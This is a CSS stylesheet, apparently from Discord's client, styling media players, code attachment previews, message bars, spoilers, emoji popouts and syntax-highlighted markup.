.mediaBarGrabber-1FqnbN { position: absolute; top: 50%; right: 0px; z-index: 2; width: 10px; height: 10px; border-radius: 5px; margin-top: -5px; margin-right: -5px; transform: scale(0); transform-origin: 50% 50%; transition: transform 0.25s ease-in-out 0s, background-color 0.25s linear 0s, -webkit-transform 0.25s ease-in-out 0s; cursor: grab; }

.bubble-3qRl2J { border-radius: 3px; top: -28px; padding: 0px 8px; transform: translateX(-50%); width: auto; height: 18px; line-height: 18px; text-align: center; font-weight: 600; font-size: 12px; color: rgb(246, 246, 247); opacity: 0; transition: opacity 0.2s ease-out 0s; background-color: rgb(0, 0, 0); }

.bubble-3qRl2J, .bubble-3qRl2J::before { position: absolute; pointer-events: none; }

.bubble-3qRl2J::before { top: 100%; left: 50%; content: " "; width: 0px; height: 0px; margin-left: -5px; border-width: 5px; border-style: solid; border-color: rgb(0, 0, 0) transparent transparent; border-image: initial; }

.wrapper-129saQ { box-sizing: border-box; display: flex; padding: 12px; height: 48px; border-radius: 24px; background-color: rgba(0, 0, 0, 0.6); color: rgb(255, 255, 255); -webkit-box-flex: 0; flex: 0 0 auto; pointer-events: none; }

.wrapper-129saQ a:link, .wrapper-129saQ a:visited { pointer-events: auto; cursor: pointer; display: block; color: rgb(255, 255, 255) !important; }

.wrapperHasPlayText-24Ab80 { padding: 5px 18px 4px 10px; transition: background-color 0.2s linear 0s; }

.wrapperHasPlayText-24Ab80:hover { background-color: rgba(0, 0, 0, 0.9); }

.iconWrapper-21idzA { pointer-events: auto; -webkit-box-flex: 0; flex: 0 0 auto; opacity: 0.6; cursor: pointer; transition: opacity 0.25s ease 0s, color 0.25s ease 0s; display: flex; -webkit-box-align: center; align-items: center; }

.disableInteractions-31GcUw .iconWrapper-21idzA, .disableInteractions-31GcUw a:link, .disableInteractions-31GcUw a:visited { pointer-events: none; }

.iconWrapperActive-12kkfE { }

.iconWrapperActive-12kkfE:hover { opacity: 1; }

.iconWrapperActive-12kkfE:active { transform: translateY(1px); }

.iconWrapperHasPlayText-ksGr18 { opacity: 1; }

.text-pPnELr { font-size: 16px; padding-left: 4px; }

.icon-3ZFEtL { display: block; width: 24px; height: 24px; }

.iconPlay-2kgvwV { margin-left: 1px; margin-right: -1px; }

.iconExternal-NKMKxg, .iconExternalMargins-2v2mzg, .iconPlay-2kgvwV { }

.iconExternalMargins-2v2mzg { margin-left: 2px; margin-right: 4px; }

.volumeButton-2XwKVs { position: relative; }

.volumeButtonSlider-3U2qy1 { position: absolute; bottom: calc(100% + 16px); left: -78px; right: 0px; display: none; -webkit-app-region: no-drag; }

.volumeButtonSlider-3U2qy1.sliderVisible-2GQ2wC { display: initial; }

.wrapper-2TxpI8 { position: relative; overflow: hidden; border-radius: 3px; color: rgb(255, 255, 255); user-select: none; }

.wrapperAudio-1jDe0Q, .wrapperControlsHidden-35Gtol, .wrapperPaused-19pWuK, .wrapperPlaying-1pXOW5 { }

.wrapperControlsHidden-35Gtol { cursor: default; }

.wrapperAudio-1jDe0Q { padding: 10px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; border-style: solid; border-width: 1px; -webkit-box-pack: justify; justify-content: space-between; overflow: visible; max-width: 100%; box-sizing: border-box; }

.videoControls-2kcYic { position: absolute; left: 0px; right: 0px; bottom: -10px; padding-bottom: 10px; height: 32px; }

.audioControls-2HsaU6, .videoControls-2kcYic { width: 100%; display: flex; -webkit-box-align: center; align-items: center; background-color: rgba(0, 0, 0, 0.6); }

.audioControls-2HsaU6 { margin-top: 4px; border-radius: 3px; }

.controlIcon-3cRbti { display: block; width: 24px; height: 24px; padding: 4px; cursor: pointer; -webkit-box-flex: 0; flex: 0 0 auto; opacity: 0.6; }

.controlIcon-3cRbti:hover { opacity: 1; }

.controlIcon-3cRbti:active { transform: translateY(1px); }

.volumeSliderWrapper-1A8mUw { margin-bottom: 4px; margin-left: -4px; }

.durationTimeWrapper-OugPFt { -webkit-box-flex: 0; flex: 0 0 auto; margin: 4px; height: 12px; }

.durationTimeDisplay-jww5fr, .durationTimeSeparator-2_xpJ7 { font-weight: 500; display: inline-block; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; font-size: 12px; line-height: 12px; vertical-align: text-top; }

.durationTimeSeparator-2_xpJ7 { margin: 0px 2px; }

.video-8eMOth { position: relative; display: block; width: 100%; height: 100%; object-fit: contain; border-radius: 3px; }

.video-8eMOth:-webkit-full-screen { z-index: 99999; }

.video-8eMOth::-webkit-media-controls-enclosure { display: none !important; }

.audio-2-PNle { position: absolute; display: block; width: 0px; height: 0px; }

.audioMetadata-3zOuGv { display: flex; }

.audioMetadata-3zOuGv::before { width: 24px; height: 40px; content: ""; background-image: url("https://discord.com/assets/e83eaad3ae5c32a355b55f157e6cd3da.svg"); background-size: 100%; background-repeat: no-repeat; }

.audioMetadata-3zOuGv .metadataContent-3c_ZXw { padding: 0px 8px; }

.audioMetadata-3zOuGv .metadataDownload-1fk90V { height: 24px; opacity: 1; }

.audioMetadata-3zOuGv .metadataIcon-2FyCKU { color: var(--interactive-normal); }

.audioMetadata-3zOuGv .metadataIcon-2FyCKU:hover { color: var(--interactive-hover); }

.audioMetadata-3zOuGv .metadataSize-2UOOLK { color: var(--text-muted); }

.metadata-13NcHb { box-sizing: border-box; position: absolute; top: -10px; left: 0px; right: 0px; height: 80px; display: flex; -webkit-box-align: start; align-items: flex-start; background-image: linear-gradient(0deg, transparent, rgba(0, 0, 0, 0.9)); padding: 22px 12px 12px; z-index: 1; }

.metadataContent-3c_ZXw { -webkit-box-flex: 1; flex: 1 1 auto; white-space: nowrap; overflow: hidden; }

.metadataName-14STf- { font-size: 16px; line-height: 20px; }

.metadataName-14STf-, .metadataSize-2UOOLK { font-weight: 500; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.metadataSize-2UOOLK { font-size: 12px; line-height: 16px; opacity: 0.7; }

.metadataDownload-1fk90V { -webkit-box-flex: 0; flex: 0 0 auto; opacity: 0.6; }

.metadataDownload-1fk90V:hover { opacity: 1; }

.metadataIcon-2FyCKU { width: 24px; height: 25px; color: rgb(255, 255, 255); }

.playCenter-Fe8u3X { inset: 0px; z-index: 1; }

.playCenter-Fe8u3X, .playPausePop-RnpJoM { position: absolute; pointer-events: none; }

.playPausePop-RnpJoM { top: 50%; left: 50%; margin-left: -23px; margin-top: -23px; padding: 12px; width: 24px; height: 24px; background-color: rgba(0, 0, 0, 0.6); color: rgb(255, 255, 255); border-radius: 50%; }

.playPausePop-RnpJoM .playPausePopIcon-p-D8VH { width: 24px; height: 24px; display: block; }

.theme-dark .wrapper-2TxpI8 { background-color: rgb(32, 34, 37); }

.theme-dark .wrapperAudio-1jDe0Q { border-color: var(--background-secondary-alt); background-color: var(--background-secondary); }

.theme-light .wrapper-2TxpI8 { background-color: rgb(246, 246, 247); }

.theme-light .wrapperAudio-1jDe0Q { border-color: var(--background-secondary-alt); background-color: var(--background-secondary); }

.background-opacity-high .audioControls-2HsaU6, .background-opacity-low .audioControls-2HsaU6, .background-opacity-medium .audioControls-2HsaU6 { background-color: rgba(0, 0, 0, 0.3); }

.background-opacity-high .audioMetadata-3zOuGv::before, .background-opacity-low .audioMetadata-3zOuGv::before, .background-opacity-medium .audioMetadata-3zOuGv::before { opacity: 0.6; }

.combobox-3V1oCd { overflow: hidden; height: 100%; }

.list-1xE9GQ { list-style: none; height: 100%; margin-top: 8px; }

.item-2J2GlB { font-weight: 500; border-radius: 4px; padding: 10px 8px; margin-bottom: 4px; color: var(--interactive-normal); cursor: pointer; -webkit-box-align: center; align-items: center; display: flex; outline: none; }

.focused-dKLoQt, .item-2J2GlB:hover:not(.disabled-w6MDKJ) { background-color: var(--background-modifier-hover); color: var(--interactive-hover); }

.itemLabel-38pPIt { width: 100%; }

.itemCheckbox-x25t6M ~ .itemLabel-38pPIt { margin-left: 8px; }

.empty-1tY4oL { padding: 20px; text-align: center; display: grid; gap: 12px; }

.disabled-w6MDKJ { opacity: 0.3; cursor: not-allowed; }

.selected-2114Fj { background-color: var(--background-modifier-selected); }

.selectedBrand-1UKrSX { background: var(--brand-experiment-500); color: rgb(255, 255, 255); }

.selectedBrand-1UKrSX.focused-dKLoQt, .selectedBrand-1UKrSX:hover { background: var(--brand-experiment-600); color: rgb(255, 255, 255); }

.spinner-2vhCyH { width: 100%; height: 100%; }

.container-1pMiXm { width: 100%; display: grid; }

.textContainer-C0szpm { min-height: 118px; height: 100%; overflow: hidden; background-color: var(--background-secondary); border: 1px solid var(--background-secondary-alt); border-radius: 4px 4px 0px 0px; }

.textContainer-C0szpm, .textContainer-C0szpm pre { box-sizing: border-box; }

.textContainer-C0szpm pre { border-radius: 4px 4px 0px 0px; }

.codeView-1JPDeA { font-size: 0.875rem; line-height: 1rem; min-height: 100px; }

.codeView-1JPDeA::-webkit-scrollbar-track { margin: 0px 0.5em; }

.expanded-2itZLW { overflow: auto; }

.footer-2yA7Ep { background-color: var(--background-secondary); -webkit-box-pack: end; justify-content: flex-end; height: 40px; border-right-color: ; border-right-style: ; border-right-width: ; border-bottom-color: ; border-bottom-style: ; border-bottom-width: ; border-left-color: ; border-left-style: ; border-left-width: ; border-image-source: ; border-image-slice: ; border-image-width: ; border-image-outset: ; border-image-repeat: ; border-top: 0px; box-sizing: border-box; border-radius: 0px 0px 4px 4px; padding: 0px 10px; font-size: 0.875rem; min-width: 0px; }

.footer-2yA7Ep, .toggleExpandSection-3WJYqa { display: flex; -webkit-box-align: center; align-items: center; flex-shrink: 0; }

.toggleExpandSection-3WJYqa { cursor: pointer; padding-right: 10px; }

.toggleExpandSection-3WJYqa:hover { color: var(--interactive-hover); }

.openFullPreviewSection-DZS30W { cursor: pointer; padding-top: 4px; }

.openFullPreviewSection-DZS30W:hover { color: var(--interactive-hover); }

.footerGap-Dnjvue { -webkit-box-flex: 200; flex: 200 0 auto; }

.downloadSection-3DLWUO { color: var(--interactive-normal); }

.downloadSection-3DLWUO:hover { color: var(--interactive-hover); text-decoration: none; }

.attachmentName-1iFwvb { -webkit-box-flex: 0; flex: 0 1 auto; text-overflow: ellipsis; white-space: nowrap; overflow: hidden; display: inline-block; text-align: right; }

.formattedSize-2PXVec { padding-left: 2px; color: var(--interactive-muted); text-align: right; -webkit-box-flex: 1; flex: 1 0 auto; }

.downloadButton-3RfpkU { padding-left: 4px; }

.languageSelector-2LVJrh { margin-top: 4px; padding: 8px 8px 4px; background-color: var(--background-floating); border-radius: 4px; overflow: hidden; max-width: 176px; box-shadow: var(--elevation-high); height: 284px; }

.codeIcon-3YZylx { min-width: 24px; padding-left: 4px; padding-bottom: 4px; }

.codeIcon-3YZylx:hover { color: var(--interactive-hover); }

.modalRoot-2o6FJT { user-select: text; height: 100%; min-height: auto; }

.modalContent-3XArPg { display: grid; width: 100%; height: 100%; }

.modalTextContainer-ITvzbi { overflow: scroll; background-color: var(--background-secondary); border: 1px solid var(--background-secondary-alt); border-radius: 4px 4px 0px 0px; }

.modalTextContainer-ITvzbi, .modalTextContainer-ITvzbi pre { box-sizing: border-box; }

.modalTextContainer-ITvzbi pre { border-radius: 4px 4px 0px 0px; }

.barBase-1c2Rfb { position: absolute; left: 16px; right: 16px; display: flex; -webkit-box-align: center; align-items: center; z-index: 2; min-height: 24px; text-transform: capitalize; transition: opacity 0.15s ease 0s; opacity: 0.95; cursor: pointer; }

.barBase-1c2Rfb:hover { opacity: 1; }

.barButtonBase-2uLO1z { text-align: left; background: none; color: rgb(255, 255, 255); appearance: none; font-weight: 500; padding: 0px 12px; font-size: 14px; line-height: 24px; height: 24px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: start; justify-content: flex-start; }

.barButtonIcon-3t4V3d { display: block; position: relative; top: -1px; width: 16px; height: 16px; margin-left: 8px; }

.jumpToPresentBar-G1R9s6 { bottom: 0px; border-radius: 8px 8px 0px 0px; background-color: var(--background-accent); opacity: 0.95; padding-bottom: 8px; }

.jumpToPresentBar-G1R9s6:active { margin-bottom: -1px; }

.jumpToPresentBar-G1R9s6 .spinner-1AwyAQ { padding-right: 12px; }

.jumpToPresentBar-G1R9s6 .spinnerItem-2swXFm { background-color: rgb(255, 255, 255); }

.messagesErrorBar-nyJGU7 { bottom: 0px; border-radius: 8px 8px 0px 0px; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); opacity: 0.9; padding-bottom: 8px; }

.messagesErrorBar-nyJGU7:active { margin-bottom: -1px; }

.messagesErrorBar-nyJGU7 .spinner-1AwyAQ { padding-right: 12px; }

.messagesErrorBar-nyJGU7 .spinnerItem-2swXFm { background-color: rgb(255, 255, 255); }

.newMessagesBar-265mhP { top: 0px; border-radius: 0px 0px 8px 8px; background-color: var(--brand-experiment); box-shadow: var(--elevation-low); }

.newMessagesBar-265mhP:active { padding-top: 1px; box-shadow: transparent 0px 0px 0px; }

.barButtonMain-3K-jeJ { -webkit-box-flex: 1; flex: 1 1 auto; display: block; position: relative; }

.barButtonMain-3K-jeJ, .span-1mKrMp { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.barButtonAlt-mYL1lj { -webkit-box-flex: 0; flex: 0 0 auto; font-weight: 600; position: relative; }

.loadingMore-FEpq89 { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 0 auto; }

.loadingMore-FEpq89 .spinner-1AwyAQ { display: inline-block; margin: 0px; }

.hasMore-3POVhk, .loadingMore-FEpq89 { margin: 16px 6px 16px 16px; height: 32px; }

.hasMore-3POVhk { box-shadow: inset 0 0 0 1px var(--background-modifier-accent); color: var(--brand-experiment); text-align: center; font-size: 12px; line-height: 32px; font-weight: 500; border-radius: 3px; text-transform: uppercase; cursor: pointer; }

.hasMore-3POVhk:hover { background-color: var(--background-modifier-hover); }

.messageGroupBlocked-2lRk_V { -webkit-box-pack: center; justify-content: center; overflow: hidden; margin: 6px 0px; background-color: rgba(0, 0, 0, 0.05); color: var(--text-muted); -webkit-box-flex: 0; flex: 0 0 auto; }

.messageGroupBlocked-2lRk_V:last-child { margin-bottom: 12px; }

.messageGroupBlockedBtn-2PRkNr { text-align: center; font-size: 12px; font-weight: 500; padding: 9px 0px; text-transform: uppercase; cursor: pointer; margin: 0px; color: var(--interactive-normal); }

.messageGroupBlockedBtn-2PRkNr:hover { background-color: rgba(0, 0, 0, 0.05); }

.revealed-3K53gX .messageGroupBlockedBtn-2PRkNr { color: var(--interactive-active); }

.tooltip-ocNES0 { text-align: center; }

.altText-Nuhr0k { display: inline-block; font-weight: 500; color: var(--text-muted); font-size: 12px; margin: 0.25rem 0px 0.75rem; line-height: 16px; }

.clickCTA-2B6Kbs { color: rgb(185, 187, 190); }

.popoutContainer-1MXdqN { width: 288px; border-radius: 8px; overflow: hidden; background-color: var(--background-floating); box-shadow: var(--elevation-low); }

@-webkit-keyframes popout-loading-3ETohm { 
  0% { transform: translate3d(-256px, 0px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(-256px, 0px, 0px); }
}

@keyframes popout-loading-3ETohm { 
  0% { transform: translate3d(-256px, 0px, 0px); }
  50% { transform: translateZ(0px); }
  100% { transform: translate3d(-256px, 0px, 0px); }
}

.popoutLoadingBackground-1dkDdT { -webkit-mask: url("data:image/svg+xml;utf8,%3Csvg%20width%3D%22256%22%20height%3D%2278%22%20viewBox%3D%2232%2024%20256%2078%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M36%2024C33.7909%2024%2032%2025.7909%2032%2028V78C32%2080.2091%2033.7909%2082%2036%2082H86C88.2091%2082%2090%2080.2091%2090%2078V28C90%2025.7909%2088.2091%2024%2086%2024H36ZM110%2024C107.791%2024%20106%2025.7909%20106%2028V38C106%2040.2091%20107.791%2042%20110%2042H179C181.209%2042%20183%2040.2091%20183%2038V28C183%2025.7909%20181.209%2024%20179%2024H110ZM106%2058C106%2055.7909%20107.791%2054%20110%2054H284C286.209%2054%20288%2055.7909%20288%2058V68C288%2070.2091%20286.209%2072%20284%2072H110C107.791%2072%20106%2070.2091%20106%2068V58ZM110%2084C107.791%2084%20106%2085.7909%20106%2088V98C106%20100.209%20107.791%20102%20110%20102H223C225.209%20102%20227%20100.209%20227%2098V88C227%2085.7909%20225.209%2084%20223%2084H110Z%22%20fill%3D%22%23000000%22%20%2F%3E%3C%2Fsvg%3E") 0% 0% / 100%; mask: url("data:image/svg+xml;utf8,%3Csvg%20width%3D%22256%22%20height%3D%2278%22%20viewBox%3D%2232%2024%20256%2078%22%20fill%3D%22none%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cpath%20fill-rule%3D%22evenodd%22%20clip-rule%3D%22evenodd%22%20d%3D%22M36%2024C33.7909%2024%2032%2025.7909%2032%2028V78C32%2080.2091%2033.7909%2082%2036%2082H86C88.2091%2082%2090%2080.2091%2090%2078V28C90%2025.7909%2088.2091%2024%2086%2024H36ZM110%2024C107.791%2024%20106%2025.7909%20106%2028V38C106%2040.2091%20107.791%2042%20110%2042H179C181.209%2042%20183%2040.2091%20183%2038V28C183%2025.7909%20181.209%2024%20179%2024H110ZM106%2058C106%2055.7909%20107.791%2054%20110%2054H284C286.209%2054%20288%2055.7909%20288%2058V68C288%2070.2091%20286.209%2072%20284%2072H110C107.791%2072%20106%2070.2091%20106%2068V58ZM110%2084C107.791%2084%20106%2085.7909%20106%2088V98C106%20100.209%20107.791%20102%20110%20102H223C225.209%20102%20227%20100.209%20227%2098V88C227%2085.7909%20225.209%2084%20223%2084H110Z%22%20fill%3D%22%23000000%22%20%2F%3E%3C%2Fsvg%3E"); mask-type: luminance; margin: 16px; width: 256px; height: 78px; position: relative; overflow: hidden; }

.popoutLoadingForeground-2mZT61 { position: absolute; top: 0px; bottom: 0px; left: 0px; width: 512px; animation: 4s ease-in-out 0s infinite normal none running popout-loading-3ETohm; background-image: linear-gradient(90deg, rgb(54, 57, 63), rgb(79, 84, 92), rgb(54, 57, 63)); }

.theme-light .popoutLoadingForeground-2mZT61 { background-image: linear-gradient(90deg, rgb(246, 246, 247), rgb(220, 221, 222), rgb(246, 246, 247)); }

.background-opacity-low .divider-1zpjU3:not(.dividerRed-258GgF) { opacity: 0.8; }

.background-opacity-low .divider-1zpjU3:not(.dividerRed-258GgF) .dividerContent-178VBO { opacity: 0.8; color: rgb(255, 255, 255); }

.background-opacity-low .divider-1zpjU3:not(.dividerRed-258GgF) .dividerContent-178VBO::before { border-color: currentcolor; }

.background-opacity-medium .divider-1zpjU3 { opacity: 0.8; }

.background-opacity-medium .divider-1zpjU3:not(.dividerRed-258GgF) .dividerContent-178VBO { }

.background-opacity-medium .divider-1zpjU3:not(.dividerRed-258GgF) .dividerContent-178VBO::before { background-color: currentcolor; opacity: 0.8; }

.background-opacity-high .divider-1zpjU3 { opacity: 0.5; }

.background-opacity-high .divider-1zpjU3:not(.dividerRed-258GgF) .dividerContent-178VBO { }

.background-opacity-high .divider-1zpjU3:not(.dividerRed-258GgF) .dividerContent-178VBO::before { background-color: currentcolor; opacity: 0.8; }

.disableInteractions-z9ck59.hasMore-3POVhk { visibility: hidden; }

.emoji { object-fit: contain; width: 1.375em; height: 1.375em; vertical-align: bottom; }

.emoji.jumboable { width: 3rem; height: 3rem; min-height: 3rem; }

.emojiSection-3Fb9ix { padding: 16px; user-select: text; }

.primaryEmoji-3LinDq { min-width: 3rem; min-height: 3rem; margin-top: 4px; }

.emojiName-27Bjxw { font-weight: 600; }

.ctaButton-fjBGVN { margin: 16px auto 0px; }

.guildSection-1EoFKd { padding: 16px; background-color: var(--background-secondary-alt); }

.guildTitle-2IliYu { color: var(--header-secondary); margin-bottom: 8px; }

.guildIcon-1zxZMV { width: 100%; height: 100%; cursor: pointer; }

.guildBadge-2YTIW_ { margin-right: 4px; min-width: 16px; }

.guildName-nBoMcU { cursor: pointer; }

.showMoreEmojis-1Xd5A3 { color: var(--interactive-normal); cursor: pointer; transition: color 0.125s ease 0s; font-weight: 600; margin-top: 8px; }

.showMoreEmojis-1Xd5A3:hover { color: var(--interactive-active); }

.showMoreEmojisArrow-PK64BO { position: relative; left: 4px; height: 16px; width: 16px; transition: transform 0.1s ease 0s, -webkit-transform 0.1s ease 0s; }

.showMoreEmojisArrow-PK64BO.showMoreEmojisArrowCollapsed-2esWuk { transform: rotate(-90deg); }

.otherEmojisContainer-lyudgL { margin-top: 4px; }

.otherEmoji-2IRr39 { height: 2rem; width: 2rem; min-width: 2rem; flex-basis: calc(16.6667% - 4px); margin: 4px 2px; }

.truncatingText-18osv_ { min-width: 0px; }

.dotSeparator-2SMscJ { border-radius: 50%; width: 4px; height: 4px; margin: 0px 8px; flex-shrink: 0; background-color: var(--interactive-muted); }

.theme-light .popoutContent-33P_eV, .theme-light .popoutLoader-38dq4E { background-color: var(--background-floating); box-shadow: var(--elevation-high); }

.emojiContainer-3X8SvE { display: inline-block; cursor: pointer; }

.inlineContent-3ZjPuv { opacity: 1; transition: all 0.1s ease 0s; }

.spoilerContainer-331r0R { position: relative; filter: blur(0px); border-radius: 3px; }

.spoilerContainer-331r0R.hidden-HHr2R9 { cursor: pointer; overflow: hidden; }

.spoilerWarning-2aAZq1 { position: absolute; left: 50%; top: 50%; transform: translate(-50%, -50%); text-transform: uppercase; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-align: center; align-items: center; font-weight: 600; cursor: pointer; z-index: 1; padding: 8px 12px; border-radius: 20px; letter-spacing: 0.5px; font-size: 15px; user-select: none; }

.spoilerWarning-2aAZq1.embed-2Fkp92 { margin-left: 4px; }

.spoilerText-3p6IlD { border-radius: 3px; transition: all 0.1s ease 0s; }

.spoilerText-3p6IlD.codeBlock-2328Tz { display: block; width: 90%; border-radius: 5px; }

.spoilerText-3p6IlD.codeBlock-2328Tz pre { max-width: 100%; }

.spoilerText-3p6IlD.quoteBlock-1Ck12r { display: block; width: 90%; border-radius: 5px; }

.spoilerText-3p6IlD.quoteBlock-1Ck12r blockquote { max-width: 100%; }

.spoilerText-3p6IlD.hidden-HHr2R9 { cursor: pointer; }

.spoilerText-3p6IlD.hidden-HHr2R9 .inlineContent-3ZjPuv { cursor: pointer; opacity: 0; pointer-events: none; }

.theme-dark .spoilerText-3p6IlD { background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .spoilerText-3p6IlD.hidden-HHr2R9 { background-color: rgb(32, 34, 37); }

.theme-dark .spoilerText-3p6IlD.hidden-HHr2R9:hover { background-color: rgba(32, 34, 37, 0.8); }

.theme-dark .spoilerWarning-2aAZq1 { color: rgb(220, 221, 222); background-color: rgba(0, 0, 0, 0.6); }

.theme-dark .spoilerContainer-331r0R:hover .spoilerWarning-2aAZq1 { color: rgb(255, 255, 255); background-color: rgba(0, 0, 0, 0.9); }

.theme-dark .spoilerContainer-331r0R.hidden-HHr2R9:not(:focus) { box-shadow: rgba(0, 0, 0, 0.1) 0.5px 0.5px 1px 1px; }

.theme-light .spoilerText-3p6IlD { background-color: rgba(0, 0, 0, 0.1); }

.theme-light .spoilerText-3p6IlD.hidden-HHr2R9 { background-color: rgb(185, 187, 190); }

.theme-light .spoilerText-3p6IlD.hidden-HHr2R9:hover { background-color: rgba(185, 187, 190, 0.8); }

.theme-light .spoilerWarning-2aAZq1 { color: rgb(220, 221, 222); background-color: rgba(0, 0, 0, 0.6); }

.theme-light .spoilerContainer-331r0R:hover .spoilerWarning-2aAZq1 { color: rgb(255, 255, 255); background-color: rgba(0, 0, 0, 0.9); }

.theme-light .spoilerContainer-331r0R.hidden-HHr2R9:not(:focus) { box-shadow: rgba(0, 0, 0, 0.1) 0.5px 0.5px 1px 1px; }

.wrapper-3WhCwL { border-radius: 3px; padding: 0px 2px; font-weight: 500; unicode-bidi: plaintext; color: var(--brand-experiment-530); background: var(--brand-experiment-15a); position: relative; }

.theme-dark .wrapper-3WhCwL { background: var(--brand-experiment-30a); color: var(--brand-experiment-200); }

.theme-dark.low-contrast .wrapper-3WhCwL { background: var(--brand-experiment-05a); color: var(--brand-experiment-300); }

.interactive { transition: background-color 50ms ease-out 0s, color 50ms ease-out 0s; cursor: pointer; }

.interactive:hover { color: rgb(255, 255, 255); background-color: var(--brand-experiment); }

.channelIcon-1MN1lz { width: 1.05rem; height: 1.3rem; object-fit: contain; position: absolute; left: 0.125rem; top: 0px; }

.mention.iconMention-1_KJ_B { padding-left: 1.3rem; }

.mention.iconMentionText-8GCluA { padding-left: 1.2rem; }

.mention.iconMentionThread-3v2JSq { padding-left: 1.35rem; }

.hljs { display: block; overflow-x: auto; padding: 0.5em; border-radius: 4px; color: var(--header-secondary); text-size-adjust: none; }

.hljs-comment, .hljs-quote { color: var(--interactive-muted); }

.hljs-addition, .hljs-keyword, .hljs-selector-tag { color: rgb(133, 153, 0); }

.hljs-doctag, .hljs-literal, .hljs-meta .hljs-meta-string, .hljs-number, .hljs-regexp, .hljs-string { color: rgb(42, 161, 152); }

.hljs-name, .hljs-section, .hljs-selector-class, .hljs-selector-id, .hljs-title { color: rgb(38, 139, 210); }

.hljs-attr, .hljs-attribute, .hljs-class .hljs-title, .hljs-template-variable, .hljs-type, .hljs-variable { color: rgb(181, 137, 0); }

.hljs-bullet, .hljs-link, .hljs-meta, .hljs-meta .hljs-keyword, .hljs-selector-attr, .hljs-selector-pseudo, .hljs-subst, .hljs-symbol { color: rgb(203, 75, 22); }

.hljs-built_in, .hljs-deletion { color: rgb(220, 50, 47); }

.hljs-formula { background: rgb(7, 54, 66); }

.hljs-emphasis { font-style: italic; }

.hljs-strong { font-weight: 700; }

.markup-2BOw-j { font-size: 1rem; line-height: 1.375rem; white-space: break-spaces; overflow-wrap: break-word; user-select: text; color: var(--text-normal); font-weight: 400; }

.markup-2BOw-j a { color: var(--text-link); word-break: break-word; text-decoration: none; cursor: pointer; }

.markup-2BOw-j a:hover { text-decoration: underline; }

.markup-2BOw-j strong { font-weight: 700; }

.markup-2BOw-j em { font-style: italic; }

.markup-2BOw-j pre { border-radius: 4px; padding: 0px; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; font-size: 0.75rem; line-height: 1rem; margin-top: 6px; white-space: pre-wrap; background-clip: border-box; }

.markup-2BOw-j blockquote, .markup-2BOw-j pre { box-sizing: border-box; max-width: 90%; }

.markup-2BOw-j blockquote { text-indent: 0px; }

.markup-2BOw-j blockquote pre { max-width: 100%; }

.markup-2BOw-j code { font-size: 0.875rem; line-height: 1.125rem; text-indent: 0px; white-space: pre-wrap; background: var(--background-secondary); border: 1px solid var(--background-tertiary); }

.markup-2BOw-j code.inline { width: auto; height: auto; padding: 0.2em; margin: -0.2em 0px; border-radius: 3px; font-size: 85%; font-family: Consolas, "Andale Mono WT", "Andale Mono", "Lucida Console", "Lucida Sans Typewriter", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Liberation Mono", "Nimbus Mono L", Monaco, "Courier New", Courier, monospace; text-indent: 0px; border: none; white-space: pre-wrap; }

@media (-webkit-max-device-pixel-ratio: 1) {
  .theme-light .markup-2BOw-j { font-weight: 500; }
}

.blockquoteContainer-U5TVEi { display: flex; }

.blockquoteContainer-U5TVEi .blockquoteDivider-2hH8H6 { width: 4px; border-radius: 4px; }

.blockquoteContainer-U5TVEi blockquote { padding: 0px 8px 0px 12px; box-sizing: border-box; text-indent: 0px; }

.blockquoteDivider-2hH8H6 { background-color: var(--interactive-muted); }

.slateBlockquoteContainer-u5zDDJ .blockquoteDivider-2hH8H6, .slateBlockquoteContainer-u5zDDJ blockquote { margin: 0px; border-radius: 0px; }

.background-opacity-low .markup-2BOw-j, .background-opacity-medium .markup-2BOw-j { font-weight: 400; }

.background-opacity-low .markup-2BOw-j { color: rgb(255, 255, 255); text-shadow: rgb(32, 34, 37) 0px 0px 1px, rgb(32, 34, 37) 1px 1px 0px; }

.background-opacity-low .markup-2BOw-j a { color: var(--text-link); text-shadow: rgba(32, 34, 37, 0.7) 0px 0px 1px, rgba(32, 34, 37, 0.7) 1px 1px 0px; }

.background-opacity-medium .markup-2BOw-j { color: rgb(246, 246, 247); text-shadow: rgb(54, 57, 63) 0px 0px 1px, rgb(54, 57, 63) 1px 1px 0px; }

.background-opacity-medium .markup-2BOw-j a { color: var(--text-link); text-shadow: rgba(32, 34, 37, 0.8) 0px 0px 1px, rgba(32, 34, 37, 0.8) 1px 1px 0px; }

.background-opacity-high .markup-2BOw-j { color: rgb(246, 246, 247); text-shadow: rgb(54, 57, 63) 0px 0px 1px, rgb(54, 57, 63) 1px 1px 0px; }

.background-opacity-low pre, .background-opacity-medium pre { border-color: rgba(79, 84, 92, 0.2); }

.background-opacity-high pre, .background-opacity-low pre, .background-opacity-medium pre { background: rgba(47, 49, 54, 0.3); border-color: rgba(32, 34, 37, 0.1); }

.background-opacity-high code, .background-opacity-low code, .background-opacity-medium code { background-color: transparent; }

.background-opacity-high code.inline, .background-opacity-low code.inline, .background-opacity-medium code.inline { background-color: rgba(47, 49, 54, 0.3); }

.background-opacity-high .mention, .background-opacity-low .mention, .background-opacity-medium .mention { text-shadow: 0 1px 1px var(--brand-experiment-600),0 1px 0 var(--brand-experiment-600); }

